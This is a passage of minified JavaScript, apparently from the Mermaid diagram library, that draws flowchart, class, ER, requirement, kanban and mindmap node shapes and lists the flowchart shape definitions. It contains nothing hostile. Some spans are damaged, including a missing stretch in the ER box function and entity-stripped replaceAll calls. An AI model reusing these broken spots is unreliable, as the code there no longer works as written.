m=Math.min(p*.2,p/4),g=p+m*2,{cssStyles:y}=e,v=Ze.svg(i),x=Je(e,{});e.look!=="handDrawn"&&(x.roughness=0,x.fillStyle="solid");let b=[{x:-d/2,y:g/2},...Go(-d/2,g/2,d/2,g/2,m,1),{x:d/2,y:-g/2},...Go(d/2,-g/2,-d/2,-g/2,m,-1)],T=Vt(b),S=v.path(T,x),w=i.insert(()=>S,":first-child");return w.attr("class","basic label-container"),y&&e.look!=="handDrawn"&&w.selectAll("path").attr("style",y),n&&e.look!=="handDrawn"&&w.selectAll("path").attr("style",n),Qe(e,w),e.intersect=function(k){return Xe.polygon(e,b,k)},i}var gte=N(()=>{"use strict";It();Ut();$t();Ht();o(mte,"waveRectangle")});async function yte(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a,label:s}=await ut(t,e,st(e)),l=Math.max(a.width+(e.padding??0)*2,e?.width??0),u=Math.max(a.height+(e.padding??0)*2,e?.height??0),h=5,f=-l/2,d=-u/2,{cssStyles:p}=e,m=Ze.svg(i),g=Je(e,{}),y=[{x:f-h,y:d-h},{x:f-h,y:d+u},{x:f+l,y:d+u},{x:f+l,y:d-h}],v=`M${f-h},${d-h} L${f+l},${d-h} L${f+l},${d+u} L${f-h},${d+u} L${f-h},${d-h} + M${f-h},${d} L${f+l},${d} + M${f},${d-h} L${f},${d+u}`;e.look!=="handDrawn"&&(g.roughness=0,g.fillStyle="solid");let x=m.path(v,g),b=i.insert(()=>x,":first-child");return b.attr("transform",`translate(${h/2}, ${h/2})`),b.attr("class","basic label-container"),p&&e.look!=="handDrawn"&&b.selectAll("path").attr("style",p),n&&e.look!=="handDrawn"&&b.selectAll("path").attr("style",n),s.attr("transform",`translate(${-(a.width/2)+h/2-(a.x-(a.left??0))}, ${-(a.height/2)+h/2-(a.y-(a.top??0))})`),Qe(e,b),e.intersect=function(T){return Xe.polygon(e,y,T)},i}var vte=N(()=>{"use strict";It();$t();Ht();Ut();o(yte,"windowPane")});async function H9(t,e){let r=e;if(r.alias&&(e.label=r.alias),e.look==="handDrawn"){let{themeVariables:U}=Qt(),{background:j}=U,te={...e,id:e.id+"-background",look:"default",cssStyles:["stroke: none",`fill: ${j}`]};await H9(t,te)}let n=Qt();e.useHtmlLabels=n.htmlLabels;let i=n.er?.diagramPadding??10,a=n.er?.entityPadding??6,{cssStyles:s}=e,{labelStyles:l,nodeStyles:u}=je(e);if(r.attributes.length===0&&e.label){let U={rx:0,ry:0,labelPaddingX:i,labelPaddingY:i*1.5,classes:""};Zi(e.label,n)+U.labelPaddingX*20){let U=d.width+i*2-(y+v+x+b);y+=U/w,v+=U/w,x>0&&(x+=U/w),b>0&&(b+=U/w)}let A=y+v+x+b,C=Ze.svg(f),R=Je(e,{});e.look!=="handDrawn"&&(R.roughness=0,R.fillStyle="solid");let I=0;g.length>0&&(I=g.reduce((U,j)=>U+(j?.rowHeight??0),0));let L=Math.max(k.width+i*2,e?.width||0,A),E=Math.max((I??0)+d.height,e?.height||0),D=-L/2,_=-E/2;f.selectAll("g:not(:first-child)").each((U,j,te)=>{let Y=qe(te[j]),oe=Y.attr("transform"),J=0,ue=0;if(oe){let ee=RegExp(/translate\(([^,]+),([^)]+)\)/).exec(oe);ee&&(J=parseFloat(ee[1]),ue=parseFloat(ee[2]),Y.attr("class").includes("attribute-name")?J+=y:Y.attr("class").includes("attribute-keys")?J+=y+v:Y.attr("class").includes("attribute-comment")&&(J+=y+v+x))}Y.attr("transform",`translate(${D+i/2+J}, ${ue+_+d.height+a/2})`)}),f.select(".name").attr("transform","translate("+-d.width/2+", "+(_+a/2)+")");let O=C.rectangle(D,_,L,E,R),M=f.insert(()=>O,":first-child").attr("style",s.join("")),{themeVariables:P}=Qt(),{rowEven:B,rowOdd:F,nodeBorder:G}=P;m.push(0);for(let[U,j]of g.entries()){let Y=(U+1)%2===0&&j.yOffset!==0,oe=C.rectangle(D,d.height+_+j?.yOffset,L,j?.rowHeight,{...R,fill:Y?B:F,stroke:G});f.insert(()=>oe,"g.label").attr("style",s.join("")).attr("class",`row-rect-${Y?"even":"odd"}`)}let $=C.line(D,d.height+_,L+D,d.height+_,R);f.insert(()=>$).attr("class","divider"),$=C.line(y+D,d.height+_,y+D,E+_,R),f.insert(()=>$).attr("class","divider"),T&&($=C.line(y+v+D,d.height+_,y+v+D,E+_,R),f.insert(()=>$).attr("class","divider")),S&&($=C.line(y+v+x+D,d.height+_,y+v+x+D,E+_,R),f.insert(()=>$).attr("class","divider"));for(let U of m)$=C.line(D,d.height+_+U,L+D,d.height+_+U,R),f.insert(()=>$).attr("class","divider");if(Qe(e,M),u&&e.look!=="handDrawn"){let j=u.split(";")?.filter(te=>te.includes("stroke"))?.map(te=>`${te}`).join("; ");f.selectAll("path").attr("style",j??""),f.selectAll(".row-rect-even path").attr("style",u)}return e.intersect=function(U){return Xe.rect(e,U)},f}async function I2(t,e,r,n=0,i=0,a=[],s=""){let l=t.insert("g").attr("class",`label ${a.join(" ")}`).attr("transform",`translate(${n}, ${i})`).attr("style",s);e!==rc(e)&&(e=rc(e),e=e.replaceAll("<","<").replaceAll(">",">"));let u=l.node().appendChild(await di(l,e,{width:Zi(e,r)+100,style:s,useHtmlLabels:r.htmlLabels},r));if(e.includes("<")||e.includes(">")){let f=u.children[0];for(f.textContent=f.textContent.replaceAll("<","<").replaceAll(">",">");f.childNodes[0];)f=f.childNodes[0],f.textContent=f.textContent.replaceAll("<","<").replaceAll(">",">")}let h=u.getBBox();if(vr(r.htmlLabels)){let f=u.children[0];f.style.textAlign="start";let d=qe(u);h=f.getBoundingClientRect(),d.attr("width",h.width),d.attr("height",h.height)}return h}var xte=N(()=>{"use strict";It();Ut();$t();Ht();M2();qn();zo();gr();yr();tr();o(H9,"erBox");o(I2,"addText")});async function bte(t,e,r,n,i=r.class.padding??12){let a=n?0:3,s=t.insert("g").attr("class",st(e)).attr("id",e.domId||e.id),l=null,u=null,h=null,f=null,d=0,p=0,m=0;if(l=s.insert("g").attr("class","annotation-group text"),e.annotations.length>0){let b=e.annotations[0];await ow(l,{text:`\xAB${b}\xBB`},0),d=l.node().getBBox().height}u=s.insert("g").attr("class","label-group text"),await ow(u,e,0,["font-weight: bolder"]);let g=u.node().getBBox();p=g.height,h=s.insert("g").attr("class","members-group text");let y=0;for(let b of e.members){let T=await ow(h,b,y,[b.parseClassifier()]);y+=T+a}m=h.node().getBBox().height,m<=0&&(m=i/2),f=s.insert("g").attr("class","methods-group text");let v=0;for(let b of e.methods){let T=await ow(f,b,v,[b.parseClassifier()]);v+=T+a}let x=s.node().getBBox();if(l!==null){let b=l.node().getBBox();l.attr("transform",`translate(${-b.width/2})`)}return u.attr("transform",`translate(${-g.width/2}, ${d})`),x=s.node().getBBox(),h.attr("transform",`translate(0, ${d+p+i*2})`),x=s.node().getBBox(),f.attr("transform",`translate(0, ${d+p+(m?m+i*4:i*2)})`),x=s.node().getBBox(),{shapeSvg:s,bbox:x}}async function ow(t,e,r,n=[]){let i=t.insert("g").attr("class","label").attr("style",n.join("; ")),a=Qt(),s="useHtmlLabels"in e?e.useHtmlLabels:vr(a.htmlLabels)??!0,l="";"text"in e?l=e.text:l=e.label,!s&&l.startsWith("\\")&&(l=l.substring(1)),kn(l)&&(s=!0);let u=await di(i,iv(Ji(l)),{width:Zi(l,a)+50,classes:"markdown-node-label",useHtmlLabels:s},a),h,f=1;if(s){let d=u.children[0],p=qe(u);f=d.innerHTML.split("
    ").length,d.innerHTML.includes("")&&(f+=d.innerHTML.split("").length-1);let m=d.getElementsByTagName("img");if(m){let g=l.replace(/]*>/g,"").trim()==="";await Promise.all([...m].map(y=>new Promise(v=>{function x(){if(y.style.display="flex",y.style.flexDirection="column",g){let b=a.fontSize?.toString()??window.getComputedStyle(document.body).fontSize,S=parseInt(b,10)*5+"px";y.style.minWidth=S,y.style.maxWidth=S}else y.style.width="100%";v(y)}o(x,"setupImage"),setTimeout(()=>{y.complete&&x()}),y.addEventListener("error",x),y.addEventListener("load",x)})))}h=d.getBoundingClientRect(),p.attr("width",h.width),p.attr("height",h.height)}else{n.includes("font-weight: bolder")&&qe(u).selectAll("tspan").attr("font-weight",""),f=u.children.length;let d=u.children[0];(u.textContent===""||u.textContent.includes(">"))&&(d.textContent=l[0]+l.substring(1).replaceAll(">",">").replaceAll("<","<").trim(),l[1]===" "&&(d.textContent=d.textContent[0]+" "+d.textContent.substring(1))),d.textContent==="undefined"&&(d.textContent=""),h=u.getBBox()}return i.attr("transform","translate(0,"+(-h.height/(2*f)+r)+")"),h.height}var Tte=N(()=>{"use strict";yr();qn();It();tr();Xt();zo();gr();o(bte,"textHelper");o(ow,"addText")});async function wte(t,e){let r=ge(),n=r.class.padding??12,i=n,a=e.useHtmlLabels??vr(r.htmlLabels)??!0,s=e;s.annotations=s.annotations??[],s.members=s.members??[],s.methods=s.methods??[];let{shapeSvg:l,bbox:u}=await bte(t,e,r,a,i),{labelStyles:h,nodeStyles:f}=je(e);e.labelStyle=h,e.cssStyles=s.styles||"";let d=s.styles?.join(";")||f||"";e.cssStyles||(e.cssStyles=d.replaceAll("!important","").split(";"));let p=s.members.length===0&&s.methods.length===0&&!r.class?.hideEmptyMembersBox,m=Ze.svg(l),g=Je(e,{});e.look!=="handDrawn"&&(g.roughness=0,g.fillStyle="solid");let y=u.width,v=u.height;s.members.length===0&&s.methods.length===0?v+=i:s.members.length>0&&s.methods.length===0&&(v+=i*2);let x=-y/2,b=-v/2,T=m.rectangle(x-n,b-n-(p?n:s.members.length===0&&s.methods.length===0?-n/2:0),y+2*n,v+2*n+(p?n*2:s.members.length===0&&s.methods.length===0?-n:0),g),S=l.insert(()=>T,":first-child");S.attr("class","basic label-container");let w=S.node().getBBox();l.selectAll(".text").each((R,I,L)=>{let E=qe(L[I]),D=E.attr("transform"),_=0;if(D){let B=RegExp(/translate\(([^,]+),([^)]+)\)/).exec(D);B&&(_=parseFloat(B[2]))}let O=_+b+n-(p?n:s.members.length===0&&s.methods.length===0?-n/2:0);a||(O-=4);let M=x;(E.attr("class").includes("label-group")||E.attr("class").includes("annotation-group"))&&(M=-E.node()?.getBBox().width/2||0,l.selectAll("text").each(function(P,B,F){window.getComputedStyle(F[B]).textAnchor==="middle"&&(M=0)})),E.attr("transform",`translate(${M}, ${O})`)});let k=l.select(".annotation-group").node().getBBox().height-(p?n/2:0)||0,A=l.select(".label-group").node().getBBox().height-(p?n/2:0)||0,C=l.select(".members-group").node().getBBox().height-(p?n/2:0)||0;if(s.members.length>0||s.methods.length>0||p){let R=m.line(w.x,k+A+b+n,w.x+w.width,k+A+b+n,g);l.insert(()=>R).attr("class","divider").attr("style",d)}if(p||s.members.length>0||s.methods.length>0){let R=m.line(w.x,k+A+C+b+i*2+n,w.x+w.width,k+A+C+b+n+i*2,g);l.insert(()=>R).attr("class","divider").attr("style",d)}if(s.look!=="handDrawn"&&l.selectAll("path").attr("style",d),S.select(":nth-child(2)").attr("style",d),l.selectAll(".divider").select("path").attr("style",d),e.labelStyle?l.selectAll("span").attr("style",e.labelStyle):l.selectAll("span").attr("style",d),!a){let R=RegExp(/color\s*:\s*([^;]*)/),I=R.exec(d);if(I){let L=I[0].replace("color","fill");l.selectAll("tspan").attr("style",L)}else if(h){let L=R.exec(h);if(L){let E=L[0].replace("color","fill");l.selectAll("tspan").attr("style",E)}}}return Qe(e,S),e.intersect=function(R){return Xe.rect(e,R)},l}var kte=N(()=>{"use strict";It();Xt();yr();Ht();$t();Ut();Tte();gr();o(wte,"classBox")});async function Ete(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let i=e,a=e,s=20,l=20,u="verifyMethod"in e,h=st(e),f=t.insert("g").attr("class",h).attr("id",e.domId??e.id),d;u?d=await Ou(f,`<<${i.type}>>`,0,e.labelStyle):d=await Ou(f,"<<Element>>",0,e.labelStyle);let p=d,m=await Ou(f,i.name,p,e.labelStyle+"; font-weight: bold;");if(p+=m+l,u){let k=await Ou(f,`${i.requirementId?`ID: ${i.requirementId}`:""}`,p,e.labelStyle);p+=k;let A=await Ou(f,`${i.text?`Text: ${i.text}`:""}`,p,e.labelStyle);p+=A;let C=await Ou(f,`${i.risk?`Risk: ${i.risk}`:""}`,p,e.labelStyle);p+=C,await Ou(f,`${i.verifyMethod?`Verification: ${i.verifyMethod}`:""}`,p,e.labelStyle)}else{let k=await Ou(f,`${a.type?`Type: ${a.type}`:""}`,p,e.labelStyle);p+=k,await Ou(f,`${a.docRef?`Doc Ref: ${a.docRef}`:""}`,p,e.labelStyle)}let g=(f.node()?.getBBox().width??200)+s,y=(f.node()?.getBBox().height??200)+s,v=-g/2,x=-y/2,b=Ze.svg(f),T=Je(e,{});e.look!=="handDrawn"&&(T.roughness=0,T.fillStyle="solid");let S=b.rectangle(v,x,g,y,T),w=f.insert(()=>S,":first-child");if(w.attr("class","basic label-container").attr("style",n),f.selectAll(".label").each((k,A,C)=>{let R=qe(C[A]),I=R.attr("transform"),L=0,E=0;if(I){let M=RegExp(/translate\(([^,]+),([^)]+)\)/).exec(I);M&&(L=parseFloat(M[1]),E=parseFloat(M[2]))}let D=E-y/2,_=v+s/2;(A===0||A===1)&&(_=L),R.attr("transform",`translate(${_}, ${D+s})`)}),p>d+m+l){let k=b.line(v,x+d+m+l,v+g,x+d+m+l,T);f.insert(()=>k).attr("style",n)}return Qe(e,w),e.intersect=function(k){return Xe.rect(e,k)},f}async function Ou(t,e,r,n=""){if(e==="")return 0;let i=t.insert("g").attr("class","label").attr("style",n),a=ge(),s=a.htmlLabels??!0,l=await di(i,iv(Ji(e)),{width:Zi(e,a)+50,classes:"markdown-node-label",useHtmlLabels:s,style:n},a),u;if(s){let h=l.children[0],f=qe(l);u=h.getBoundingClientRect(),f.attr("width",u.width),f.attr("height",u.height)}else{let h=l.children[0];for(let f of h.children)f.textContent=f.textContent.replaceAll(">",">").replaceAll("<","<"),n&&f.setAttribute("style",n);u=l.getBBox(),u.height+=6}return i.attr("transform",`translate(${-u.width/2},${-u.height/2+r})`),u.height}var Ste=N(()=>{"use strict";It();Ut();$t();Ht();tr();Xt();zo();yr();o(Ete,"requirementBox");o(Ou,"addText")});async function Cte(t,e,{config:r}){let{labelStyles:n,nodeStyles:i}=je(e);e.labelStyle=n||"";let a=10,s=e.width;e.width=(e.width??200)-10;let{shapeSvg:l,bbox:u,label:h}=await ut(t,e,st(e)),f=e.padding||10,d="",p;"ticket"in e&&e.ticket&&r?.kanban?.ticketBaseUrl&&(d=r?.kanban?.ticketBaseUrl.replace("#TICKET#",e.ticket),p=l.insert("svg:a",":first-child").attr("class","kanban-ticket-link").attr("xlink:href",d).attr("target","_blank"));let m={useHtmlLabels:e.useHtmlLabels,labelStyle:e.labelStyle||"",width:e.width,img:e.img,padding:e.padding||8,centerLabel:!1},g,y;p?{label:g,bbox:y}=await YT(p,"ticket"in e&&e.ticket||"",m):{label:g,bbox:y}=await YT(l,"ticket"in e&&e.ticket||"",m);let{label:v,bbox:x}=await YT(l,"assigned"in e&&e.assigned||"",m);e.width=s;let b=10,T=e?.width||0,S=Math.max(y.height,x.height)/2,w=Math.max(u.height+b*2,e?.height||0)+S,k=-T/2,A=-w/2;h.attr("transform","translate("+(f-T/2)+", "+(-S-u.height/2)+")"),g.attr("transform","translate("+(f-T/2)+", "+(-S+u.height/2)+")"),v.attr("transform","translate("+(f+T/2-x.width-2*a)+", "+(-S+u.height/2)+")");let C,{rx:R,ry:I}=e,{cssStyles:L}=e;if(e.look==="handDrawn"){let E=Ze.svg(l),D=Je(e,{}),_=R||I?E.path(Fs(k,A,T,w,R||0),D):E.rectangle(k,A,T,w,D);C=l.insert(()=>_,":first-child"),C.attr("class","basic label-container").attr("style",L||null)}else{C=l.insert("rect",":first-child"),C.attr("class","basic label-container __APA__").attr("style",i).attr("rx",R??5).attr("ry",I??5).attr("x",k).attr("y",A).attr("width",T).attr("height",w);let E="priority"in e&&e.priority;if(E){let D=l.append("line"),_=k+2,O=A+Math.floor((R??0)/2),M=A+w-Math.floor((R??0)/2);D.attr("x1",_).attr("y1",O).attr("x2",_).attr("y2",M).attr("stroke-width","4").attr("stroke",kRe(E))}}return Qe(e,C),e.height=w,e.intersect=function(E){return Xe.rect(e,E)},l}var kRe,Ate=N(()=>{"use strict";It();Ut();Zd();$t();Ht();kRe=o(t=>{switch(t){case"Very High":return"red";case"High":return"orange";case"Medium":return null;case"Low":return"blue";case"Very Low":return"lightblue"}},"colorFromPriority");o(Cte,"kanbanItem")});async function _te(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a,halfPadding:s,label:l}=await ut(t,e,st(e)),u=a.width+10*s,h=a.height+8*s,f=.15*u,{cssStyles:d}=e,p=a.width+20,m=a.height+20,g=Math.max(u,p),y=Math.max(h,m);l.attr("transform",`translate(${-a.width/2}, ${-a.height/2})`);let v,x=`M0 0 + a${f},${f} 1 0,0 ${g*.25},${-1*y*.1} + a${f},${f} 1 0,0 ${g*.25},0 + a${f},${f} 1 0,0 ${g*.25},0 + a${f},${f} 1 0,0 ${g*.25},${y*.1} + + a${f},${f} 1 0,0 ${g*.15},${y*.33} + a${f*.8},${f*.8} 1 0,0 0,${y*.34} + a${f},${f} 1 0,0 ${-1*g*.15},${y*.33} + + a${f},${f} 1 0,0 ${-1*g*.25},${y*.15} + a${f},${f} 1 0,0 ${-1*g*.25},0 + a${f},${f} 1 0,0 ${-1*g*.25},0 + a${f},${f} 1 0,0 ${-1*g*.25},${-1*y*.15} + + a${f},${f} 1 0,0 ${-1*g*.1},${-1*y*.33} + a${f*.8},${f*.8} 1 0,0 0,${-1*y*.34} + a${f},${f} 1 0,0 ${g*.1},${-1*y*.33} + H0 V0 Z`;if(e.look==="handDrawn"){let b=Ze.svg(i),T=Je(e,{}),S=b.path(x,T);v=i.insert(()=>S,":first-child"),v.attr("class","basic label-container").attr("style",Cn(d))}else v=i.insert("path",":first-child").attr("class","basic label-container").attr("style",n).attr("d",x);return v.attr("transform",`translate(${-g/2}, ${-y/2})`),Qe(e,v),e.calcIntersect=function(b,T){return Xe.rect(b,T)},e.intersect=function(b){return X.info("Bang intersect",e,b),Xe.rect(e,b)},i}var Dte=N(()=>{"use strict";pt();It();Ut();$t();Ht();tr();o(_te,"bang")});async function Lte(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a,halfPadding:s,label:l}=await ut(t,e,st(e)),u=a.width+2*s,h=a.height+2*s,f=.15*u,d=.25*u,p=.35*u,m=.2*u,{cssStyles:g}=e,y,v=`M0 0 + a${f},${f} 0 0,1 ${u*.25},${-1*u*.1} + a${p},${p} 1 0,1 ${u*.4},${-1*u*.1} + a${d},${d} 1 0,1 ${u*.35},${u*.2} + + a${f},${f} 1 0,1 ${u*.15},${h*.35} + a${m},${m} 1 0,1 ${-1*u*.15},${h*.65} + + a${d},${f} 1 0,1 ${-1*u*.25},${u*.15} + a${p},${p} 1 0,1 ${-1*u*.5},0 + a${f},${f} 1 0,1 ${-1*u*.25},${-1*u*.15} + + a${f},${f} 1 0,1 ${-1*u*.1},${-1*h*.35} + a${m},${m} 1 0,1 ${u*.1},${-1*h*.65} + H0 V0 Z`;if(e.look==="handDrawn"){let x=Ze.svg(i),b=Je(e,{}),T=x.path(v,b);y=i.insert(()=>T,":first-child"),y.attr("class","basic label-container").attr("style",Cn(g))}else y=i.insert("path",":first-child").attr("class","basic label-container").attr("style",n).attr("d",v);return l.attr("transform",`translate(${-a.width/2}, ${-a.height/2})`),y.attr("transform",`translate(${-u/2}, ${-h/2})`),Qe(e,y),e.calcIntersect=function(x,b){return Xe.rect(x,b)},e.intersect=function(x){return X.info("Cloud intersect",e,x),Xe.rect(e,x)},i}var Rte=N(()=>{"use strict";Ht();pt();tr();Ut();$t();It();o(Lte,"cloud")});async function Nte(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a,halfPadding:s,label:l}=await ut(t,e,st(e)),u=a.width+8*s,h=a.height+2*s,f=5,d=` + M${-u/2} ${h/2-f} + v${-h+2*f} + q0,-${f} ${f},-${f} + h${u-2*f} + q${f},0 ${f},${f} + v${h-2*f} + q0,${f} -${f},${f} + h${-u+2*f} + q-${f},0 -${f},-${f} + Z + `,p=i.append("path").attr("id","node-"+e.id).attr("class","node-bkg node-"+e.type).attr("style",n).attr("d",d);return i.append("line").attr("class","node-line-").attr("x1",-u/2).attr("y1",h/2).attr("x2",u/2).attr("y2",h/2),l.attr("transform",`translate(${-a.width/2}, ${-a.height/2})`),i.append(()=>l.node()),Qe(e,p),e.calcIntersect=function(m,g){return Xe.rect(m,g)},e.intersect=function(m){return Xe.rect(e,m)},i}var Mte=N(()=>{"use strict";Ut();$t();It();o(Nte,"defaultMindmapNode")});async function Ite(t,e){let r={padding:e.padding??0};return iw(t,e,r)}var Ote=N(()=>{"use strict";U9();o(Ite,"mindmapCircle")});function Pte(t){return t in q9}var ERe,SRe,q9,W9=N(()=>{"use strict";yJ();bJ();wJ();EJ();U9();CJ();_J();LJ();NJ();IJ();PJ();FJ();zJ();VJ();HJ();WJ();XJ();KJ();ZJ();eee();ree();iee();see();lee();uee();fee();pee();gee();vee();bee();wee();Eee();Cee();_ee();Lee();Nee();Iee();Pee();Fee();zee();Vee();Hee();Wee();Xee();Kee();Zee();ete();rte();ite();ste();lte();ute();fte();pte();gte();vte();xte();kte();Ste();Ate();Dte();Rte();Mte();Ote();ERe=[{semanticName:"Process",name:"Rectangle",shortName:"rect",description:"Standard process shape",aliases:["proc","process","rectangle"],internalAliases:["squareRect"],handler:Gee},{semanticName:"Event",name:"Rounded Rectangle",shortName:"rounded",description:"Represents an event",aliases:["event"],internalAliases:["roundedRect"],handler:Oee},{semanticName:"Terminal Point",name:"Stadium",shortName:"stadium",description:"Terminal point",aliases:["terminal","pill"],handler:Uee},{semanticName:"Subprocess",name:"Framed Rectangle",shortName:"fr-rect",description:"Subprocess",aliases:["subprocess","subproc","framed-rectangle","subroutine"],handler:Qee},{semanticName:"Database",name:"Cylinder",shortName:"cyl",description:"Database storage",aliases:["db","database","cylinder"],handler:OJ},{semanticName:"Start",name:"Circle",shortName:"circle",description:"Starting point",aliases:["circ"],handler:iw},{semanticName:"Bang",name:"Bang",shortName:"bang",description:"Bang",aliases:["bang"],handler:_te},{semanticName:"Cloud",name:"Cloud",shortName:"cloud",description:"cloud",aliases:["cloud"],handler:Lte},{semanticName:"Decision",name:"Diamond",shortName:"diam",description:"Decision-making step",aliases:["decision","diamond","question"],handler:Dee},{semanticName:"Prepare Conditional",name:"Hexagon",shortName:"hex",description:"Preparation or condition step",aliases:["hexagon","prepare"],handler:jJ},{semanticName:"Data Input/Output",name:"Lean Right",shortName:"lean-r",description:"Represents input or output",aliases:["lean-right","in-out"],internalAliases:["lean_right"],handler:mee},{semanticName:"Data Input/Output",name:"Lean Left",shortName:"lean-l",description:"Represents output or input",aliases:["lean-left","out-in"],internalAliases:["lean_left"],handler:dee},{semanticName:"Priority Action",name:"Trapezoid Base Bottom",shortName:"trap-b",description:"Priority action",aliases:["priority","trapezoid-bottom","trapezoid"],handler:ote},{semanticName:"Manual Operation",name:"Trapezoid Base Top",shortName:"trap-t",description:"Represents a manual task",aliases:["manual","trapezoid-top","inv-trapezoid"],internalAliases:["inv_trapezoid"],handler:cee},{semanticName:"Stop",name:"Double Circle",shortName:"dbl-circ",description:"Represents a stop point",aliases:["double-circle"],internalAliases:["doublecircle"],handler:$J},{semanticName:"Text Block",name:"Text Block",shortName:"text",description:"Text block",handler:nte},{semanticName:"Card",name:"Notched Rectangle",shortName:"notch-rect",description:"Represents a card",aliases:["card","notched-rectangle"],handler:TJ},{semanticName:"Lined/Shaded Process",name:"Lined Rectangle",shortName:"lin-rect",description:"Lined process shape",aliases:["lined-rectangle","lined-process","lin-proc","shaded-process"],handler:Bee},{semanticName:"Start",name:"Small Circle",shortName:"sm-circ",description:"Small starting point",aliases:["start","small-circle"],internalAliases:["stateStart"],handler:jee},{semanticName:"Stop",name:"Framed Circle",shortName:"fr-circ",description:"Stop point",aliases:["stop","framed-circle"],internalAliases:["stateEnd"],handler:Yee},{semanticName:"Fork/Join",name:"Filled Rectangle",shortName:"fork",description:"Fork or join in process flow",aliases:["join"],internalAliases:["forkJoin"],handler:qJ},{semanticName:"Collate",name:"Hourglass",shortName:"hourglass",description:"Represents a collate operation",aliases:["hourglass","collate"],handler:QJ},{semanticName:"Comment",name:"Curly Brace",shortName:"brace",description:"Adds a comment",aliases:["comment","brace-l"],handler:AJ},{semanticName:"Comment Right",name:"Curly Brace",shortName:"brace-r",description:"Adds a comment",handler:DJ},{semanticName:"Comment with braces on both sides",name:"Curly Braces",shortName:"braces",description:"Adds a comment",handler:RJ},{semanticName:"Com Link",name:"Lightning Bolt",shortName:"bolt",description:"Communication link",aliases:["com-link","lightning-bolt"],handler:yee},{semanticName:"Document",name:"Document",shortName:"doc",description:"Represents a document",aliases:["doc","document"],handler:dte},{semanticName:"Delay",name:"Half-Rounded Rectangle",shortName:"delay",description:"Represents a delay",aliases:["half-rounded-rectangle"],handler:YJ},{semanticName:"Direct Access Storage",name:"Horizontal Cylinder",shortName:"h-cyl",description:"Direct access storage",aliases:["das","horizontal-cylinder"],handler:ate},{semanticName:"Disk Storage",name:"Lined Cylinder",shortName:"lin-cyl",description:"Disk storage",aliases:["disk","lined-cylinder"],handler:xee},{semanticName:"Display",name:"Curved Trapezoid",shortName:"curv-trap",description:"Represents a display",aliases:["curved-trapezoid","display"],handler:MJ},{semanticName:"Divided Process",name:"Divided Rectangle",shortName:"div-rect",description:"Divided process shape",aliases:["div-proc","divided-rectangle","divided-process"],handler:BJ},{semanticName:"Extract",name:"Triangle",shortName:"tri",description:"Extraction process",aliases:["extract","triangle"],handler:hte},{semanticName:"Internal Storage",name:"Window Pane",shortName:"win-pane",description:"Internal storage",aliases:["internal-storage","window-pane"],handler:yte},{semanticName:"Junction",name:"Filled Circle",shortName:"f-circ",description:"Junction point",aliases:["junction","filled-circle"],handler:GJ},{semanticName:"Loop Limit",name:"Trapezoidal Pentagon",shortName:"notch-pent",description:"Loop limit step",aliases:["loop-limit","notched-pentagon"],handler:cte},{semanticName:"Manual File",name:"Flipped Triangle",shortName:"flip-tri",description:"Manual file operation",aliases:["manual-file","flipped-triangle"],handler:UJ},{semanticName:"Manual Input",name:"Sloped Rectangle",shortName:"sl-rect",description:"Manual input step",aliases:["manual-input","sloped-rectangle"],handler:$ee},{semanticName:"Multi-Document",name:"Stacked Document",shortName:"docs",description:"Multiple documents",aliases:["documents","st-doc","stacked-document"],handler:See},{semanticName:"Multi-Process",name:"Stacked Rectangle",shortName:"st-rect",description:"Multiple processes",aliases:["procs","processes","stacked-rectangle"],handler:kee},{semanticName:"Stored Data",name:"Bow Tie Rectangle",shortName:"bow-rect",description:"Stored data",aliases:["stored-data","bow-tie-rectangle"],handler:xJ},{semanticName:"Summary",name:"Crossed Circle",shortName:"cross-circ",description:"Summary",aliases:["summary","crossed-circle"],handler:SJ},{semanticName:"Tagged Document",name:"Tagged Document",shortName:"tag-doc",description:"Tagged document",aliases:["tag-doc","tagged-document"],handler:tte},{semanticName:"Tagged Process",name:"Tagged Rectangle",shortName:"tag-rect",description:"Tagged process",aliases:["tagged-rectangle","tag-proc","tagged-process"],handler:Jee},{semanticName:"Paper Tape",name:"Flag",shortName:"flag",description:"Paper tape",aliases:["paper-tape"],handler:mte},{semanticName:"Odd",name:"Odd",shortName:"odd",description:"Odd shape",internalAliases:["rect_left_inv_arrow"],handler:Ree},{semanticName:"Lined Document",name:"Lined Document",shortName:"lin-doc",description:"Lined document",aliases:["lined-document"],handler:Tee}],SRe=o(()=>{let e=[...Object.entries({state:qee,choice:kJ,note:Aee,rectWithTitle:Mee,labelRect:hee,iconSquare:aee,iconCircle:tee,icon:JJ,iconRounded:nee,imageSquare:oee,anchor:gJ,kanbanItem:Cte,mindmapCircle:Ite,defaultMindmapNode:Nte,classBox:wte,erBox:H9,requirementBox:Ete}),...ERe.flatMap(r=>[r.shortName,..."aliases"in r?r.aliases:[],..."internalAliases"in r?r.internalAliases:[]].map(i=>[i,r.handler]))];return Object.fromEntries(e)},"generateShapeMap"),q9=SRe();o(Pte,"isValidShape")});var CRe,lw,Bte=N(()=>{"use strict";yr();w2();Xt();pt();W9();tr();gr();ci();CRe="flowchart-",lw=class{constructor(){this.vertexCounter=0;this.config=ge();this.vertices=new Map;this.edges=[];this.classes=new Map;this.subGraphs=[];this.subGraphLookup=new Map;this.tooltips=new Map;this.subCount=0;this.firstGraphFlag=!0;this.secCount=-1;this.posCrossRef=[];this.funs=[];this.setAccTitle=Rr;this.setAccDescription=Ir;this.setDiagramTitle=$r;this.getAccTitle=Mr;this.getAccDescription=Or;this.getDiagramTitle=Pr;this.funs.push(this.setupToolTips.bind(this)),this.addVertex=this.addVertex.bind(this),this.firstGraph=this.firstGraph.bind(this),this.setDirection=this.setDirection.bind(this),this.addSubGraph=this.addSubGraph.bind(this),this.addLink=this.addLink.bind(this),this.setLink=this.setLink.bind(this),this.updateLink=this.updateLink.bind(this),this.addClass=this.addClass.bind(this),this.setClass=this.setClass.bind(this),this.destructLink=this.destructLink.bind(this),this.setClickEvent=this.setClickEvent.bind(this),this.setTooltip=this.setTooltip.bind(this),this.updateLinkInterpolate=this.updateLinkInterpolate.bind(this),this.setClickFun=this.setClickFun.bind(this),this.bindFunctions=this.bindFunctions.bind(this),this.lex={firstGraph:this.firstGraph.bind(this)},this.clear(),this.setGen("gen-2")}static{o(this,"FlowDB")}sanitizeText(e){r